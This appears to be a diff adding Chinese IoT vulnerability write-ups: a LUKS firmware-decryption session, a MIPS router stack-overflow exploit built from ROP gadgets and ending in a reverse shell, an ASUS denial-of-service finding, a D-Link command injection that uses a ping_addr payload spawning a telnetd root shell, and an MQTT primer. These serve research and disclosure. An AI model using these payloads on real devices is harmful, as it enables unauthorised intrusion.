openat(AT_FDCWD, "/dev/random", O_RDONLY|O_NONBLOCK|O_CLOEXEC) = 4
|
||||
...
|
||||
+++ exited with 0 +++
|
||||
```
|
||||
使用密钥解锁尝试一下,并把解密后的文件系统挂载出来也是完整的文件系统
|
||||
```bash
|
||||
root@iotseczone:/home/iotsec-zone/_123.extracted/cpio-root/etc# cryptsetup luksOpen /dev/mapper/groupA-home pulse_data --key-file /home/iotsec-zone/_123.extracted/cpio-root/etc/lvmkey
|
||||
root@iotseczone:/home/iotsec-zone/_123.extracted/cpio-root# ls /dev/mapper/
|
||||
control groupA-home groupA-runtime groupZ-home pulse_data
|
||||
root@iotseczone:/home/iotsec-zone/_123.extracted/cpio-root# mount /dev/mapper/pulse_data /tmp/sda/
|
||||
root@iotseczone:/home/iotsec-zone/_123.extracted/cpio-root# ls /tmp/sda/
|
||||
boot lost+found root
|
||||
root@iotseczone:/home/iotsec-zone/_123.extracted/cpio-root# ls /tmp/sda/root/
|
||||
4.17.00-x86_64 bin boot cgroups conf data dev etc gzip home lib lib64 mnt2 modules pkg proc root run runtime sbin selinux sys tmp usr va var webserver
|
||||
```
|
||||
@@ -0,0 +1,175 @@
|
||||
# 某路由器漏洞分析与多种栈溢出利用方法探究
|
||||
> 偏有宸机
|
||||
> 来源:https://www.iotsec-zone.com/article/38
|
||||
|
||||
# **路由器漏洞分析**
|
||||
|
||||
问题出现在修改路由器ssid过程中由于对wlanssid 字段传入参数后的处理不严谨,导致溢出,外加/goform/set_wifi页面的未授权访问,从而可以通过远程缓冲区控制程序流程,获取shell
|
||||

|
||||
发送大量数据进行测试
|
||||
|
||||

|
||||
|
||||
可以看到goahead提示segmentation fault,上传gdbserver 进行动态调试测试
|
||||

|
||||
在mipsel中 通过./gdbserver 0.0.0.0:1234 /bin/goahead挂起程序,再在ubuntu中通过gdb-multiarch gohead启动goahead程序进行动态调试
|
||||
再次发送payload测试,可以看到已经成功控制pc寄存器为maab,即填充148个字符即可覆盖pc寄存器
|
||||

|
||||
在正式利用之前,这里建议先关闭系统的aslr,以方便后续的调试
|
||||
sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
|
||||
|
||||
## 方式1:控制程序执行shellcode
|
||||
|
||||
既然已经明确了我们所能控制的寄存器,就要确定我们的目标是什么,比如要实现某个功能,需要控制哪些寄存器,之后构造需要确定下一步的跳转寄存器
|
||||
|
||||
**1.寻找gadget1执行sleep函数**
|
||||
|
||||
由于在MIPS架构下,叶子函数的返回地址是直接放在 ra 寄存器中,而非叶子函数需要调用另外的函数,这里的差异就造成了我们在利用叶子函数溢出时,且需要把当前的返回地址暂时存放在栈上,而利用方式便是先通过控制sleep(nS)来更新codecache,之后才能正确执行栈上的代码。
|
||||
因此先控制$a0=1,然后跳转执行sleep,控制$a0可以通过mipsrop来寻找gadget,这里用0x005512c
|
||||

|
||||
第一步构造如下,此时$s2为下一次跳转的地址,同时控制$t9与$pc指向“dasy”
|
||||

|
||||
|
||||
|
||||
(这里省略了通过pwndbg中的vmmap来确定libc的基地址过程…)
|
||||
|
||||
|
||||
|
||||
**2.寻找gadget2,控制$ra寄存器 提前设置返回地址**
|
||||
|
||||
但此时如果控制s2为sleep函数的话,当然可以执行sleep,但执行完后程序也就结束了,因此上面的gadget并不能直接用,我们需要另外寻找一个gadget,能够在执行sleep之前设置函数的返回地址,然后再执行sleep函数,结束后返回到我们之前设置的返回地址上面,进而进行下一次的利用
|
||||
可以通过mipsrop.tails()来查找,这里使用$s1控制$t9来设置下一次跳转的地址,并同时设置$s0、$s1、$s2、$ra等几个寄存器
|
||||

|
||||
payload构造结构如下
|
||||

|
||||
即先控制程序跳转到gadget1处,并同时设置$s1\s2为sleep函数与gadget2的地址,在执行完gadget1设置$a0=1后,
|
||||
在跳转到gadget2处,通过其中代码段控制$ra寄存器为“dddd”后执行sleep函数,当sleep函数执行完后,跳转到“dddd”处即$ra寄存器中
|
||||
|
||||
**3.寻找gadget3,提前设置下下次跳转的地址,与gadget4配合**
|
||||
|
||||
这一步起着承上启下的作用主要与gadget4配合,以确保我们的shellcode可以放到最后面同时设置gadget4要跳转到的地址,即$a1通过 mipsrop.stackfinder() 搜索gadget3,将上一步中的$ra中换为gadget3
|
||||

|
||||
|
||||
**4.寻找gadget4**
|
||||
|
||||
然后通过mipsrop.find(“move $t9,$a1”) 来寻找我们需要的gadget4,放到第二步中$s0的位置。
|
||||

|
||||
|
||||
**5.放shellcode**
|
||||
|
||||
最后我们放上shellcode测试,可以看到程序确实可以跳到shellcode上面,但pc的值为0x2806ffff,显然是需要我们来提供一个指针地址
|
||||

|
||||
因此将shellcode向后移,可以看到是成功执行完了shellcode的,但不清楚为什么没有一点反馈信息,直到最后的程序崩溃….
|
||||

|
||||
因此此路可能行不同,所以果断换路!
|
||||
(这里非常迷惑,起初怀疑是shellcode的问题,也试过许多shellcode,包括pwntools中的shellcraft也不尽人意,希望有大师傅看到并了解的话,可以给我讲解一二)
|
||||
|
||||
## 方式2:利用libc中的函数构造rop
|
||||
|
||||
**1.寻找命令执行函数**
|
||||
|
||||
对于传统的pwn手来说,当然是首选libc中的system函数,但这里并没有….
|
||||

|
||||
之后尝试寻找exec系列函数或popen函数来利用
|
||||
**2.exec系列函数利用**
|
||||
execl("/bin/ls\x00","/bin/ls\x00",0);
|
||||

|
||||
这里先以execl为例演示,可以看到其函数所需有三个参数,对应寄存器也就是a0,a1,a2
|
||||
而我们需要自由控制的参数也就只需要前两个就可以了
|
||||
因此大概寻找gadgets的思路便是,控制a0、a1为栈上的地址,之后可以控制某值为0的寄存器mov到a2寄存器上
|
||||
由于未保存之前的调试信息,且懒,所以直接放上最终的payload截图,针对其中的需要会对其11讲解
|
||||

|
||||
(1)首先就是寻找控制a0寄存器的gadgets1,同时我们要能确定赋完值后能跳到下一个gadgets中,这里选择0x34fcc
|
||||
|
||||
```
|
||||
gadget1 = libc_base + 0x34fcc
|
||||
# jalr $s1
|
||||
# .text:00034FCC move $a0, $s3
|
||||
# .text:00034FD0 move $t9, $s1
|
||||
# .text:00034FD4 jalr $t9
|
||||
|
||||
|
||||
```
|
||||
|
||||
即本次gadget的下一跳地址位置为payload中第53行,且设置的$a0参数为第55行,其中的值0x7fff63e0便是paylaod最后的“ls -l\x00”的地址
|
||||
|
||||
(2)接下来找控制$a1寄存器的gadgets2,并且能保证我们传给a1的值是在上一步中可以直接控制的
|
||||
|
||||
那么最合适的便是0xc7a8,而此次跳转所需要修改的参数则是第52行,将其修改为任意值即可,其次本次的下一跳地址,也就是也就是程序中的第51行,其实$ra寄存器的值可以是随便位置(根据gadgets的不同,只要自己能确定可控就可以)
|
||||
|
||||
```
|
||||
gadget2 = libc_base + 0xc7a8
|
||||
# .text:0000C7A8 move $a1, $s0
|
||||
# .text:0000C7AC lw $v0, 0x98+var_18($sp)
|
||||
# .text:0000C7B0
|
||||
# .text:0000C7B0 loc_C7B0: # CODE XREF: fstatat+48↑j
|
||||
# .text:0000C7B0 lw $ra, 0x98+var_4($sp)
|
||||
# .text:0000C7B4
|
||||
# .text:0000C7B4 loc_C7B4: # CODE XREF: fstatat:loc_C790↑j
|
||||
# .text:0000C7B4 lw $s1, 0x98+var_8($sp)
|
||||
# .text:0000C7B8 lw $s0, 0x98+var_C($sp)
|
||||
# .text:0000C7BC jr $ra
|
||||
|
||||
```
|
||||
|
||||
(3)最后来寻找gadget3,控制程序调转到execl函数中,但是需要注意这条指令尽量选择通过$t9寄存器进行跳转到execl函数而不是ra寄存器,否则大概率错误会如下,蹦到错误的地址上去。而本次跳转后所需要修改的也就只有payload中的第54行即$s2寄存器的值,也就是我们的execl函数。其次第60行的$ra寄存器改不改无所谓。
|
||||

|
||||
|
||||
```
|
||||
gadget3 = libc_base + 0x3b468
|
||||
# .text:0003B468 loc_3B468: # CODE XREF: xdr_rejected_reply+7C↑j
|
||||
# .text:0003B468 move $t9, $s2
|
||||
# .text:0003B46C lw $ra, 0x28+var_4($sp)
|
||||
# .text:0003B470 lw $s2, 0x28+var_8($sp)
|
||||
# .text:0003B474 lw $s1, 0x28+var_C($sp)
|
||||
# .text:0003B478 lw $s0, 0x28+var_10($sp)
|
||||
# .text:0003B47C jr $t9 ; xdr_u_long
|
||||
|
||||
```
|
||||
|
||||
**2.popen函数利用**
|
||||
popen("echo 123>123","r");
|
||||

|
||||
由于只用修改两个参数的原因,所以大体上与execl函数的利用方法一致只需要主要r字符串的寻找,结尾处为\x00即可
|
||||

|
||||
**3.结果**
|
||||
最后的最后不言而喻,都以命令执行失败而告终,但理论上是没问题的,失败原因同样令我费解
|
||||
因为从gdb上来看,都是已经将execl或popen函数执行完了的,而且参数a0\a1\a2都没有任何问题,但就是咩有任何反馈信息….
|
||||
另附上一张利用同等构造执行puts函数成功时的一个截图
|
||||

|
||||
|
||||
## 方式3:终极方法,利用程序中的system…
|
||||
|
||||
在前两种方法都失败后 我突然意识到,既然可以将字符串放到payload的最后面从而避免\x00的截断。
|
||||
那我将elf中的函数地址放到最后面岂不是同样可以正常执行,而需要执行的字符串,我只要通过其他方式存放到程序中,那不就可以正常执行调用了?
|
||||
|
||||
说干就干,既然利用程序中的system的话,我只需要能控制一个寄存器$a0就可以了,其次对gadgets的要求便是最后返回到的地址必须要处于payload的末尾处
|
||||
因此我找了一个这么长的gadgets,即最后跳转到的是 0x58+var_4($sp) 处,再次放上system函数的地址便可以了
|
||||
|
||||
```
|
||||
gadget1 = libc_base + 0x46460
|
||||
# .text:00046460 move $a0, $s1
|
||||
# .text:00046464
|
||||
# .text:00046464 loc_46464: # CODE XREF: __read_etc_hosts_r+70↑j
|
||||
# .text:00046464 # __read_etc_hosts_r+A8↑j ...
|
||||
# .text:00046464 lw $ra, 0x58+var_4($sp)
|
||||
# .text:00046468
|
||||
# .text:00046468 loc_46468: # CODE XREF: __read_etc_hosts_r+244↑j
|
||||
# .text:00046468 move $v0, $s2
|
||||
# .text:0004646C lw $fp, 0x58+var_8($sp)
|
||||
# .text:00046470 lw $s7, 0x58+var_C($sp)
|
||||
# .text:00046474 lw $s6, 0x58+var_10($sp)
|
||||
# .text:00046478 lw $s5, 0x58+var_14($sp)
|
||||
# .text:0004647C lw $s4, 0x58+var_18($sp)
|
||||
# .text:00046480 lw $s3, 0x58+var_1C($sp)
|
||||
# .text:00046484 lw $s2, 0x58+var_20($sp)
|
||||
# .text:00046488 lw $s1, 0x58+var_24($sp)
|
||||
# .text:0004648C lw $s0, 0x58+var_28($sp)
|
||||
# .text:00046490 jr $ra
|
||||
|
||||
```
|
||||
|
||||
接下来就是system参数的构造,也就是我们要执行命令的地址,字符串该写到哪里,经观察后发现才传过去的post请求中,cookie的值正好合适,且”user=admin“后便是空字符,所以我们只用在后面跟上命令,便可以轻易的在程序中去定其所在位置
|
||||

|
||||
最后开始构造payload,通过系统自带的ftpget下载完整的busybox,再通过完整版的busybox中的nc命令来连接在本地开启的8808端口,最最后成功反弹shell
|
||||

|
||||
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,112 @@
|
||||
# 浅谈路由器漏洞挖掘
|
||||
> ChaMd5
|
||||
> 来源:https://www.iotsec-zone.com/article/115
|
||||
|
||||
# 浅谈路由器漏洞挖掘
|
||||
|
||||
## 前言
|
||||
|
||||
去年公司买了个华硕路由器,型号为AC86U,我闲来无事尝试挖掘了下,一个月内,从路由器漏洞挖掘零基础到混了三个CVE。在此分享我一些漏洞挖掘思路。
|
||||
|
||||

|
||||
|
||||
## 前期准备
|
||||
|
||||
首先了解我们的路由器,做一些基础工作。
|
||||
|
||||
登录路由器后台了解基本的一些功能,比如能不能开启ssh连接等等。访问官网看看能不能下到固件等,如果不能下载到固件,则需要考虑硬件dump或者网络截取的方法来获取固件。
|
||||
|
||||
华硕的路由器是可以直接开启ssh登录的,这里打开系统管理有一个服务选项,其中有一个启用SSH的功能。
|
||||
|
||||

|
||||
|
||||
登录之后就可以做一些基础准备了。
|
||||
|
||||
确定挖掘目标
|
||||
|
||||
使用netstat -anpt命令,查看路由器有哪些开放的端口,哪些是可以通过外网访问到的,而哪些是只有本地访问到的。
|
||||
|
||||
```shell
|
||||
tcp 0 0 0.0.0.0:5152 0.0.0.0:* LISTEN 294/envrams
|
||||
tcp 0 0 0.0.0.0:5473 0.0.0.0:* LISTEN 1846/u2ec
|
||||
tcp 0 0 0.0.0.0:18017 0.0.0.0:* LISTEN 1043/wanduck
|
||||
tcp 0 0 0.0.0.0:36098 0.0.0.0:* LISTEN 1928/miniupnpd
|
||||
tcp 0 0 0.0.0.0:3394 0.0.0.0:* LISTEN 1846/u2ec
|
||||
tcp 0 0 192.168.50.1:515 0.0.0.0:* LISTEN 1847/lpd
|
||||
tcp 0 0 192.168.50.1:1990 0.0.0.0:* LISTEN 1155/wps_monitor
|
||||
tcp 0 0 127.0.0.1:47753 0.0.0.0:* LISTEN 1912/mcpd
|
||||
tcp 0 0 192.168.50.1:16363 0.0.0.0:* LISTEN 2111/uuplugin
|
||||
tcp 0 0 192.168.50.1:9100 0.0.0.0:* LISTEN 1847/lpd
|
||||
tcp 0 0 0.0.0.0:7788 0.0.0.0:* LISTEN 1733/cfg_server
|
||||
tcp 0 0 127.0.0.1:80 0.0.0.0:* LISTEN 1644/httpd
|
||||
tcp 0 0 192.168.50.1:80 0.0.0.0:* LISTEN 1644/httpd
|
||||
tcp 0 0 127.0.0.1:38770 0.0.0.0:* LISTEN 2111/uuplugin
|
||||
tcp 0 0 127.0.0.1:53 0.0.0.0:* LISTEN 1635/dnsmasq
|
||||
tcp 0 0 192.168.50.1:53 0.0.0.0:* LISTEN 1635/dnsmasq
|
||||
tcp 0 0 192.168.50.1:22 0.0.0.0:* LISTEN 1764/dropbear
|
||||
tcp 0 0 127.0.0.1:38746 0.0.0.0:* LISTEN 2117/uuplugin
|
||||
tcp 0 0 192.168.50.1:3838 0.0.0.0:* LISTEN 1847/lpd
|
||||
```
|
||||
|
||||
使用iptables命令查看规则。众所周知漏洞修复的手法多种多样,常见手法例如,直接修复程序上的漏洞,砍掉整个功能(可怜的公式编辑器),添加防火墙规则。有些的修复手法就是通过添加规则挡掉外部流量来做的。
|
||||
|
||||
使用iptables -nvL --line-number命令来查看规则。
|
||||
|
||||
```
|
||||
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
|
||||
num pkts bytes target prot opt in out source destination
|
||||
1 118K 7060K DROP tcp -- lo * 127.0.0.1 127.0.0.1 tcp dpt:38770
|
||||
2 0 0 ACCEPT tcp -- br0 * 0.0.0.0/0 0.0.0.0/0 tcp dpt:16363
|
||||
3 0 0 ACCEPT 2 -- eth0 * 0.0.0.0/0 0.0.0.0/0
|
||||
4 826 188K INPUT_PING icmp -- * * 0.0.0.0/0 0.0.0.0/0 icmptype 8
|
||||
5 1846K 433M ACCEPT all -- * * 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED
|
||||
6 1770 85622 DROP all -- * * 0.0.0.0/0 0.0.0.0/0 state INVALID
|
||||
7 4429K 973M PTCSRVWAN all -- !br0 * 0.0.0.0/0 0.0.0.0/0
|
||||
8 202K 22M PTCSRVLAN all -- br0 * 0.0.0.0/0 0.0.0.0/0
|
||||
9 34 1768 DROP tcp -- !lo * 0.0.0.0/0 0.0.0.0/0 tcp dpt:5152
|
||||
10 202K 22M ACCEPT all -- br0 * 0.0.0.0/0 0.0.0.0/0 state NEW
|
||||
11 4429K 973M ACCEPT all -- lo * 0.0.0.0/0 0.0.0.0/0 state NEW
|
||||
12 0 0 ACCEPT udp -- * * 0.0.0.0/0 0.0.0.0/0 udp spt:67 dpt:68
|
||||
13 0 0 INPUT_ICMP icmp -- * * 0.0.0.0/0 0.0.0.0/0
|
||||
14 378 96645 DROP all -- * * 0.0.0.0/0 0.0.0.0/0
|
||||
```
|
||||
可以看到有的端口的包是完全丢弃掉的,比如5152端口。
|
||||
|
||||
在剩余的程序中,通过百度或者其他搜索引擎了解它是干什么的,一般来讲应用较广身经百战的项目漏洞比较少且难以发现,并且在网上都是可以查到他是干什么的,例如这里面的miniupnpd,dnsmasq等。而查不到的则很有可能是厂商自己实现的功能也就是我们的目标,其中功能越多越容易出现漏洞。
|
||||
|
||||
## 环境准备
|
||||
|
||||
在路由器上安装编译好的gdb,这里我是直接从github上下载编译好的,在本地使用python搭建下载服务,在路由器上使用wget下载下来,需要注意的是,路由器重启之后所有下载的文件就会消失,需要我们重新下载到路由器上,因此非必要的情况下不要重启路由器。
|
||||
|
||||
## 漏洞挖掘
|
||||
|
||||
这里以我挖掘危害较轻的一个漏洞为例。这里我选择的是cfg_server。
|
||||
|
||||
由于程序代码量很大,因此我们需要找到最关键的部分,也就是数据处理的部分,这里通过调试对recv,listen,accept等函数下断点,通过跟踪数据流来找到程序处理数据的位置。
|
||||
|
||||

|
||||
|
||||
这里是根据输入数据的前四字节走入不同的处理函数。
|
||||
变量dword_A2F90存放对应功能码以及处理函数。
|
||||
|
||||

|
||||
|
||||
例如94 8e 05 00地址对应的是功能码1的处理函数。
|
||||
定位之后继续对该程序代码分析,发现其实一个TLV格式的报文,TLV 的意思就是Type 类型,Length 长度,Value 值。接下来就是对每个功能进行分析,来找出其中是否存在漏洞,这里需要耐心以及对功能的理解。
|
||||
|
||||
这里以0x1对应的功能为例,正常交互时,会输出程序的公钥。如下图。
|
||||
|
||||

|
||||
|
||||
当我们设置长度为0xfffffff4的时候会导致服务端出现逻辑错误,进而无限循环不停向客户端发送公钥,此时如果关闭客户端的连接就会导致程序产生SIGPIPE信号进而退出。
|
||||
|
||||

|
||||
|
||||
该漏洞的漏洞点在于没有对输入的长度进行验证,也就是说不会验证TLV中的L与V的长度是否相等。另一个则是程序的信号处理不够完善,导致程序退出。至此一个简单的拒绝服务漏洞就出现了。
|
||||
而官方通过添加验证数据长度的代码进行修复漏洞。
|
||||
|
||||
## 总结
|
||||
|
||||
对我而言整个流程总体来说,确定目标,环境准备,漏洞挖掘。其中花的时间大部分在对程序的逆向分析上,一个程序实现的功能越多越复杂就越可能出现漏洞。最终拿了三个CVE,总体而言华硕的漏洞提交体验还是不错的。
|
||||
|
||||

|
||||
@@ -0,0 +1,66 @@
|
||||
# 漏洞复现到简单0day漏洞挖掘
|
||||
> splash
|
||||
> 来源:https://www.iotsec-zone.com/article/139
|
||||
|
||||
# 漏洞复现到简单0day漏洞挖掘
|
||||
## 漏洞信息
|
||||
漏洞通告链接:[https://nvd.nist.gov/vuln/detail/CVE-2022-26258](https://nvd.nist.gov/vuln/detail/CVE-2022-26258)
|
||||
IOTsec-zone社区漏洞复现:[https://iotsec-zone.com/article?id=123](https://iotsec-zone.com/article?id=123)
|
||||
固件下载地址:[http://www.dlinktw.com.tw/techsupport/download.ashx?file=2663](http://www.dlinktw.com.tw/techsupport/download.ashx?file=2663)
|
||||
## 漏洞分析
|
||||
大佬已经分析过漏洞成因,[https://iotsec-zone.com/article?id=123](https://iotsec-zone.com/article?id=123)
|
||||
下面是我自己复现分析的入手点
|
||||
由漏洞信息得知,在路由的处理程序中`/lan.asp`,参数的值`Device Name`可以注入命令
|
||||
知道漏洞触发位置,自行分析寻找漏洞点,匹配到ncc2二进制文件
|
||||

|
||||
|
||||
放入IDA分析,搜索device
|
||||

|
||||
_system()函数第四个参数,执行了拼接后的命令,而在前有hasInjectionString()过滤,在文件系统搜索相应字符串
|
||||

|
||||
分析libleopard.so,过滤了一些截断符,但是并没有过滤换行符
|
||||
|
||||
|
||||

|
||||
## 漏洞复现
|
||||
使用FirmAe仿真固件
|
||||

|
||||
可以成功复现漏洞,这里不贴图了,上述链接老哥有详细的复现过程
|
||||
## 新漏洞挖掘
|
||||
### 命令注入:
|
||||
已知过滤函数没有过滤完全,通过查看hasInjectionString()函数引用寻找其他输入点
|
||||
|
||||
在nc22中,获取输入的ping_addr值,经过不完全的过滤,拼接后的字符串使用popen()执行,存在命令注入
|
||||

|
||||
对ping功能抓包,经测试,ping test和ipv6 ping test都存在命令注入,将ping_addr参数修改为%0Atelnetd%20-l%20%2Fbin%2Fsh%20-p%204444%0A,这个数据包cookie是比较简单的参数为1就行,经实际测试,无需最后的165参数(可能是时间戳)也可实现命令注入
|
||||

|
||||
使用telnet连接目标4444端口,连接成功,获取设备shell,搜了一下,好像没有被提交过,算是捡的漏洞吧。
|
||||

|
||||
### 拒绝服务:
|
||||
由上可知已知get_entry_value_by_name()函数功能为获取用户输入
|
||||
获取多个参数后未经长度判断,使用sprintf()拼接字符串,发送超长字符串即可造成溢出
|
||||

|
||||

|
||||

|
||||
此时已经无法登陆,由于是ncc2崩溃,也就是处理请求的二进制文件崩溃,http服务还正常,但已经不能处理请求了
|
||||
## 总结
|
||||
1、在找到命令注入漏洞后,存在过滤函数,说明开发者考虑到了注入风险,那么既然过滤不严格,其他输入点可能也存在过滤不严格的可能,此时通过查看过滤函数的引用去寻找其他可控输入点,会有可能发现更多的漏洞。
|
||||
2、在确认获取用户输入的函数名后,通过查看引用,可以找到更多系统处理用户输入的路径,可能会发现其他参数的漏洞。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,364 @@
|
||||
# 物联网MQTT协议分析
|
||||
> f10w3rdanc3
|
||||
> 来源:https://www.iotsec-zone.com/article/219
|
||||
|
||||
#MQTT协议简介
|
||||
MQTT(Message Queuing Telemetry Transport,消息队列遥测传输协议),由IBM在1999年发布,是一种基于发布/订阅(publish/subscribe)模式的“轻量级”通讯协议,该协议构建于TCP/IP协议上。
|
||||
MQTT协议的优点:**低开销,低带宽占用**。正是因为这个特性,其在物联网、小型设备、移动应用等方面有较广泛的应用。
|
||||
|
||||
#一、MQTT服务器搭建:
|
||||
|
||||
**引入mosquitto仓库并更新**、
|
||||
(在开始引入仓库之前可以先update一下系统)
|
||||
`sudo apt-add-repository ppa:mosquitto-dev/mosquitto-ppa`、
|
||||
|
||||
**安装mosquitto服务器和客户端**
|
||||
`sudo apt-get install mosquitto #服务端`
|
||||
`sudo apt-get install mosquitto-clients #客户端(想在windows下测试可以下一个chrome的mqttbox插件)`
|
||||
|
||||
**开启/停止mosquitto服务**
|
||||
`sudo service mosquitto start`
|
||||
`sudo service mosquitto stop`
|
||||
|
||||
**添加用户**
|
||||
`sudo mosquitto_passwd -c /etc/mosquitto/passwd test`
|
||||
|
||||

|
||||
|
||||
**对服务器进行配置**
|
||||
`sudo nano /etc/mosquitto/conf.d/default.conf`
|
||||
|
||||
执行命令后会打开一个新的文件,粘贴以下内容:
|
||||
```shell
|
||||
allow_anonymous false
|
||||
password_file /etc/mosquitto/passwd
|
||||
```
|
||||
之后使用 Ctrl+O,Enter 和 Ctrl+X 保存并退出文本编辑器,再重启Mosquitto 服务器
|
||||
|
||||
`sudo systemctl restart mosquitto`
|
||||
|
||||
**查看mosquitto服务状态**
|
||||
执行完以上命令之后就可以查看服务器状态了
|
||||
`sudo service mosquitto status`
|
||||
|
||||

|
||||
|
||||
#二、MQTT建立通信
|
||||
在成功搭建服务器之后,我们就可以建立通信了,因为我们在第一部分把client端也下载了,所以可以打开两个终端作为订阅方和发布方,如下图所示:
|
||||
使用`mosquitto_sub -t "test" -u "test" -P "password"`和`mosquitto_pub -t "test" -m "message from mosquitto_pub client"`来相互通信
|
||||
|
||||

|
||||
这里的*-t*参数是指**主题(topic)**,作为双方匹配的依据
|
||||
同时我们也可以在本机上使用软件进行通信(在这里我们使用的是MQTTX作为订阅方)
|
||||

|
||||
连接成功后可以进行通信(前提是主机和服务器之间是连通的)
|
||||

|
||||
在成功建立通信后,我们就可以抓取流量了
|
||||
|
||||
#三、MQTT协议格式解析
|
||||
##MQTT基本特点
|
||||

|
||||
在通讯过程中,MQTT协议中有三种身份:发布者(Publish)、代理(Broker,服务器)、订阅者(Subscribe)。其中,消息的发布者和订阅者都是客户端,消息代理是服务器,消息发布者可以同时是订阅者。
|
||||
MQTT传输的消息分为:主题(Topic)和负载(payload)两部分:
|
||||
(1)Topic,可以理解为消息的类型,订阅者订阅(Subscribe)后,就会收到该主题的消息内容(payload);
|
||||
(2)Payload,可以理解为消息的内容,是指订阅者具体要使用的内容
|
||||
|
||||
###基本概念
|
||||
**MQTT 客户端**
|
||||
一个使用 MQTT 协议的设备、应用程序等,它总是建立到服务器的网络连接,具有以下功能:
|
||||
- 可以发布信息,其他客户端可以订阅该信息
|
||||
- 订阅其它客户端发布的消息
|
||||
- 退订或删除应用程序的消息
|
||||
- 断开与服务器连接
|
||||
|
||||
**MQTT 服务器**
|
||||
MQTT 服务器也称为 Broker(消息代理),以是一个应用程序或一台设备。它是位于消息发布者和订阅者之间,具有以下功能:
|
||||
- 接受来自客户端的网络连接
|
||||
- 接受客户端发布的应用信息
|
||||
- 处理来自客户端的订阅和退订请求
|
||||
- 向订阅的客户转发应用程序消息
|
||||
|
||||
**主题(Topic)**
|
||||
连接到一个应用程序消息的标签,该标签与服务器的订阅相匹配。服务器会将消息发送给订阅所匹配标签的每个客户端。
|
||||
- 要订阅的主题。一个主题可以有多个级别,级别之间用斜杠字符分隔。例如,/world 和 emq/emqtt/emqx 是有效的主题。
|
||||
- 订阅者的Topic name支持通配符#和+ :
|
||||
- - '#'支持一个主题内任意级别话题
|
||||
- - '+'只匹配一个主题级别的通配符
|
||||
- 客户端成功订阅某个主题后,代理会返回一条 SUBACK 消息,其中包含一个或多个 returnCode 参数
|
||||
|
||||
**筛选器(Topic Filter)**
|
||||
一个对主题名通配符筛选器,在订阅表达式中使用,表示订阅所匹配到的多个主题。
|
||||
**QoS(消息传递的服务质量水平)**
|
||||
服务质量,标志表明此主题范围内的消息传送到客户端所需的一致程度,其中值表示如下:
|
||||
- 值 0:不可靠,消息基本上仅传送一次,如果当时客户端不可用,则会丢失该消息。
|
||||
- 值 1:消息应传送至少 1 次。
|
||||
- 值 2:消息仅传送一次。
|
||||
|
||||
**会话(Session)**
|
||||
每个客户端与服务器建立连接后就是一个会话,客户端和服务器之间有状态交互。会话存在于一个网络之间,也可能在客户端和服务器之间跨越多个连续的网络连接。
|
||||
|
||||
**订阅(Subscription)**
|
||||
订阅包含主题筛选器(Topic Filter)和最大服务质量(QoS)。订阅会与一个会话(Session)关联。一个会话可以包含多个订阅。每一个会话中的每个订阅都有一个不同的主题筛选器。
|
||||
- 客户端在成功建立TCP连接之后,发送CONNECT消息,在得到服务器端授权允许建立彼此连接的CONNACK消息之后,客户端会发送SUBSCRIBE消息,订阅感兴趣的Topic主题列表(至少一个主题)
|
||||
- 订阅的主题名称采用UTF-8编码,然后紧跟着对应的QoS值
|
||||
|
||||
**发布(publish)**
|
||||
控制报文是指从客户端向服务端或者服务端向客户端传输一个应用消息,MQTT 客户端发送消息请求,发送完成后返回应用程序线程。
|
||||
|
||||
**负载(Payload)**
|
||||
消息订阅者所具体接收的内容
|
||||
|
||||
##MQTT协议中的方法
|
||||
消息订阅者所具体接收的内容,MQTT协议中定义了一些方法(也被称为动作),来于表示对确定资源所进行操作。这个资源可以代表预先存在的数据或动态生成数据,这取决于服务器的实现。通常来说,资源指服务器上的文件或输出。主要方法有:
|
||||
1) Connect。等待与服务器建立连接。
|
||||
2) Disconnect。等待MQTT客户端完成所做的工作,并与服务器断开TCP/IP会话。
|
||||
3) Subscribe。等待完成订阅。
|
||||
4) UnSubscribe。等待服务器取消客户端的一个或多个topics订阅。
|
||||
5) Publish。MQTT客户端发送消息请求,发送完成后返回应用程序线程。
|
||||

|
||||
|
||||
##MQTT协议数据包结构
|
||||
在MQTT协议中,一个MQTT数据包由:固定头(Fixed header)、可变头(Variable header)、消息体(payload)三部分构成。
|
||||
1) **固定头(Fixed header)**。存在于所有MQTT数据包中,表示数据包类型及数据包的分组类标识。协议版本3定义了14种MQTT报文,用于建立/断开连接、发布消息、订阅消息和维护连接。固定报头的第一字节的4-7位的值指定了报文类型,其取值如下表。0和15为系统保留值;0-3位为标志位,依照报文类型有不同的含义,事实上,除了PUBLISH报文以外,其他报文的标志位均为系统保留。如果收到报文的标志位无效,代理应断开连接
|
||||

|
||||
|
||||
2) **可变头(Variable header)**。某些控制报文包含可变报头,它在固定报头(Fixed header)和有效载荷(Payload)之间。每个协议的可变报头都不一样。其中大多数协议都会有的字段是报文标识符。可变报头在各个控制报文的详细内容中再展开讲解
|
||||
3) **消息体(Payload)**。有效载荷是除控制报文格式以外的有效信息,CONNECT、PUBLISH、SUBSCRIBE等需要传递有效信息的协议帧都需要。。
|
||||
后续将会以下表固定头部的报文类型进行展开分析
|
||||
|
||||
报文类型 值 描述
|
||||
CONNECT 0x10 客户端向代理发起连接请求
|
||||
CONNACK 0x20 连接确认
|
||||
PUBLISH 0x30 发布消息
|
||||
PUBACK 0x40 发布确认
|
||||
PUBREC 0x50 发布收到(QoS2)
|
||||
PUBREL 0x60 发布释放(QoS2)
|
||||
PUBCOMP 0x70 发布完成(QoS2)
|
||||
SUBSCRIBE 0x80 客户端向代理发起订阅请求
|
||||
SUBACK 0x90 订阅确认
|
||||
UNSUBSCRIBE 0xA2 取消订阅
|
||||
UNSUBACK 0xB0 取消订阅确认
|
||||
PINGREQ 0xC0 PING请求
|
||||
PINGRESP 0xD0 PING响应
|
||||
DISCONNECT 0xE0 断开连接
|
||||
|
||||
###CONNECT 0x10
|
||||
CONNECT 协议是客户端建立连接的第一个报文,通常都要带有鉴权的字段,一个CONNECT报文都会对应一个服务端的CONNACK报文,如下图所示
|
||||

|
||||
**固定头**
|
||||
固定头主要分为两个部分,前四位代表消息类型,后四位代表保留值,除UNSUBSCRIBE之外,其余的保留值都为0.
|
||||

|
||||
|
||||
**可变头**
|
||||
可变头的结构如下:
|
||||
|
||||
